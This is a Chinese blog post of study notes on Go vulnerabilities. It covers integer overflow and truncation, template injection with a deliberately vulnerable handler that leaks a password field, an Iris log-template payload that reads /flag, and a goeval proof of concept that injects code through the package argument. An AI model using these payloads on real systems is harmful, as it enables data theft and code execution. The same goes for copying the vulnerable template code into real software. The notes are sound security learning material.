目录

  1. 1. 前言
  2. 2. 整数溢出
    1. 2.1. strconv.Atoi截断
  3. 3. SSTI
    1. 3.1. 信息泄露
    2. 3.2. Iris框架
  4. 4. goeval命令注入

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

go漏洞学习

2023/10/17 Web Golang
  |     |   总文章阅读量:

前言

目前只学习了整数溢出和ssti

参考博客:

https://blog.h4ck.fun/golang_vuln_share

https://tyskill.github.io/posts/gossti/

https://www.gem-love.com/2022/07/25/goeval%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

Golang 是一门强类型的语言,在代码中不使用 cgo 的情况下默认使用静态编译,在编译过程中就能杜绝许多安全问题,因此 Golang 会出现的一些安全问题经常是因为依赖库中的issues和开发者自身操作不当


整数溢出

无符号整型溢出:

package main

import (
	"fmt"
	"reflect"
)	

func main() {
	var a uint16 = 65535
	var b uint16 = 1
	var c uint16 = 2
	var sum1 = a + b
	var sum2 = b - c
	fmt.Println(reflect.TypeOf(sum1))
	fmt.Println(sum1)
	fmt.Println(sum2)
}

运行得到

image-20231018170351727

因为uint16类型的范围为0~65535,对无符号数,65535向上溢出后会从0开始算溢出的部分,0向下溢出会从65535开始算溢出的部分

如果定义时直接赋值一个大小已经溢出的数,编译器会编译不通过

有符号数也是同理:

package main

import (
	"fmt"
	"reflect"
)

func main() {
	var a2 int8 = 127
	var b2 int8 = 1
	var sum1 int8 = a2 + b2
	var sum2 int8 = -a2 - b2 - b2
	fmt.Println(reflect.TypeOf(sum1))
	fmt.Println(sum1)
	fmt.Println(sum2)
}

image-20231018171057653

int8的范围是-128~127,可以看到对127加1超出了int8的范围,翻转为了-128

在类型转换中,也会出现较大整型向较小整型转换的截断问题,Golang 是一种强类型语言,但是 Golang 提供了类型强制转换的功能,来跳过该限制

package main

import (
	"fmt"
)

func main() {
	var a3 int16 = 255
	var b3 = int8(a3)
	fmt.Println(b3)
}

image-20231018171432461

可以看到较大整型向较小整型转换会自动换算成溢出后的值

strconv.Atoi截断

旧版本的kubectl命令行中出现了一个strconv.Atoi导致的截断问题。

当我们传入port参数的对应字符串后,容器启动的端口这一参数会将经Atoi处理后的字符串进行int32的类型转换

由于64位系统的int是int64类型。转int32的话会出现明显截断:

v , _ := strconv.Atoi("4294967377")
s  := int32(v)
fmt.Println(s)
// 81

这样就有可能导致81端口的服务启动,或者被停止


SSTI

Golang的html/template包提供模板渲染的功能,和flask的ssti一样,当源码中出现用户可控且直接拼接渲染时会出现模板注入的漏洞,轻则造成信息泄漏,严重的可能会出现rce等

识别方法:与其他SSTI识别方法不同,运算符在{{}}中是非法的,因此需要使用其他的payload,如{{.}}占位符,如果存在SSTI,那么应当无回显。当然,点替换为任意字符串也可以

信息泄露

demo:

package main

import (
	"fmt"
	"net/http"
	"strings"
	"text/template"
)

type User struct {
	Id     int
	Name   string
	Passwd string
}

func StringTplExam(w http.ResponseWriter, r *http.Request) {
	user := &User{1, "noa", "this_is_your_key"}
	r.ParseForm()
	arg := strings.Join(r.PostForm["name"], "")
	tpl1 := fmt.Sprintf(`<h1>Hi, ` + arg + `</h1> Your name is {{ .Name }}`)
	html, err := template.New("login").Parse(tpl1)
	html = template.Must(html, err)
	html.Execute(w, user)
}

func main() {
	server := http.Server{
		Addr: "127.0.0.1:8080",
	}
	http.HandleFunc("/string", StringTplExam)
	server.ListenAndServe()
}

运行,访问/string,就能看到被渲染好的页面

image-20231110151308090

结构体是Go中一个非常重要的类型,Go通过结构体来类比一个对象,因此他的字段就是一个对象的属性

通常Json的编码和解析都需要通过结构体来实现,加之模板渲染支持传入一个结构体的实例来渲染它的字段,这就造成了信息泄漏的可能

如代码所示,name的值是我们可控的且直接拼接进模板

arg := strings.Join(r.PostForm["name"], "")
tpl1 := fmt.Sprintf(`<h1>Hi, ` + arg + `</h1> Your name is {{ .Name }}`)

因此仿造{{.Name}}的结构构造{{.Passwd}}就能获得Passwd的字段值。

image-20231110151458670


Iris框架

参考:https://www.freebuf.com/vuls/350580.html

用户可以对日志的格式参数进行控制,而参数又会被当成模板渲染

文档:https://www.topgoer.cn/docs/lris//706

在Context这里寻找可利用的方法

image-20240921001145742

SendFile可以强制下载文件

所以payload:

{{ .Ctx.SendFile "/flag" "1.txt"}}

goeval命令注入

是第三方模块:https://github.com/PaulXu-cn/goeval

存在package处命令注入的漏洞

poc:

package main

import (
	"fmt"

	"github.com/PaulXu-cn/goeval"
)

func main() {

	Package := "\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"calc\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1"
	eval, _ := goeval.Eval("", "fmt.Println(\"Good\")", Package)
	fmt.Println(string(eval))

}